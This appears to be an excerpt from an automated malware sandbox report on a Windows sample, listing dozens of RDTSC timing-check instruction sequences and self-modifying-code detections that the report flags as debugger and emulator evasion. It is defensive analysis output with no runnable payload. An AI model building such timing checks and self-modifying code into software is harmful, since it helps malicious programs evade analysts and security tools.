Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B02 second address: F84B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B08 second address: F84B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F2AD9523876h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B1E second address: F84B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84DEA second address: F84DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84DFF second address: F84E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2AD900F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84E09 second address: F84E0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84E0F second address: F84E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F2AD900F5B5h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84E21 second address: F84E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85161 second address: F85173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F2AD900F59Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85173 second address: F851AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F2AD9523888h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007F2AD952387Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F851AB second address: F851B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F2AD900F59Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F851B8 second address: F851BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F937CB second address: F937DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2AD900F596h 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F2AD900F596h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F937DE second address: F937E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F937E4 second address: F937EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F937EA second address: F937F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F919E2 second address: F919E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F919E8 second address: F919ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91DF9 second address: F91E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F920E2 second address: F920E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F920E9 second address: F920F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F920F2 second address: F920F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F920F6 second address: F92107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92107 second address: F9210B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9210B second address: F92132 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2AD900F596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2AD900F5A8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F923F0 second address: F923FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2AD9523876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F923FA second address: F92411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F59Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92411 second address: F92417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9257A second address: F9257F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9257F second address: F92597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F2AD9523876h 0x00000012 jng 00007F2AD9523876h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92597 second address: F9259B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91592 second address: F91596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91596 second address: F9159C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9935D second address: F9936A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9936A second address: F9936E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9936E second address: F9937A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2AD9523876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99018 second address: F99032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A0h 0x00000007 jg 00007F2AD900F596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C153 second address: F9C158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C158 second address: F9C171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F5A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C171 second address: F9C18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2AD9523876h 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F2AD9523876h 0x00000012 jnc 00007F2AD9523876h 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA871C second address: FA8732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2AD900F5A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8732 second address: FA8736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82C4 second address: FA82C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC732 second address: FAC738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC738 second address: FAC73C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC73C second address: FAC744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFE8D second address: FAFE91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4D5E second address: FC4D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2AD9523876h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4D6E second address: FC4D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4D74 second address: FC4D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD952387Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4EDB second address: FC4EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2AD900F5A9h 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC533C second address: FC5342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5342 second address: FC5352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F59Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5352 second address: FC5357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5357 second address: FC536B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2AD900F596h 0x0000000a jmp 00007F2AD900F59Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC57D3 second address: FC57D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC61F0 second address: FC61F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC61F5 second address: FC6214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2AD9523876h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F2AD952387Eh 0x00000017 jo 00007F2AD9523876h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6214 second address: FC621A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9883 second address: FC9894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD952387Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9894 second address: FC98BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F59Eh 0x00000007 jne 00007F2AD900F596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F2AD900F598h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9792 second address: FD9798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9798 second address: FD97A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD97A1 second address: FD97B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jp 00007F2AD9523876h 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD97B2 second address: FD97BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2AD900F596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DA6 second address: FD6DD2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2AD9523876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F2AD9523886h 0x00000010 jmp 00007F2AD952387Eh 0x00000015 push eax 0x00000016 pop eax 0x00000017 push esi 0x00000018 jbe 00007F2AD9523876h 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DD2 second address: FD6DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DD8 second address: FD6DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8C9B second address: FE8CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F2AD900F596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8CA9 second address: FE8CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8CAD second address: FE8CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2AD900F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE89CB second address: FE89DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F2AD952387Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE89DD second address: FE89ED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2AD900F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE89ED second address: FE8A02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F2AD9523876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007F2AD9523876h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7B96 second address: FF7BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F2AD900F5A5h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7BBB second address: FF7BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7EB0 second address: FF7EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7EB7 second address: FF7ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2AD952387Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8022 second address: FF8026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8838 second address: FF883C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF883C second address: FF8846 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2AD900F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA03B second address: FFA049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2AD9523876h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB643 second address: FFB647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF5DD second address: FFF5EF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007F2AD9523888h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF5EF second address: FFF5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF5F3 second address: FFF5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF90B second address: FFF926 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2AD900F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2AD900F59Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFBE9 second address: FFFC10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2AD952387Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2AD9523880h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100176E second address: 1001790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F2AD900F5B1h 0x0000000b jmp 00007F2AD900F5A5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001790 second address: 1001798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001798 second address: 10017A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2AD900F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100127F second address: 1001283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250331 second address: 5250337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250337 second address: 525034C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov ecx, 2B21D42Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bx, cx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525034C second address: 52503AF instructions: 0x00000000 rdtsc 0x00000002 mov ch, CDh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F2AD900F59Fh 0x0000000c sbb cx, 1F6Eh 0x00000011 jmp 00007F2AD900F5A9h 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F2AD900F5A1h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 mov cx, D983h 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push ecx 0x00000028 pop edi 0x00000029 popad 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e movzx eax, di 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52503AF second address: 52503B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52503B3 second address: 52503B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250434 second address: 5250439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250439 second address: 525043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525043F second address: 5250443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC88 second address: F1CC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC8C second address: F1CCC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2AD9523887h 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D618C8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D61846 instructions caused by: Self-modifying code
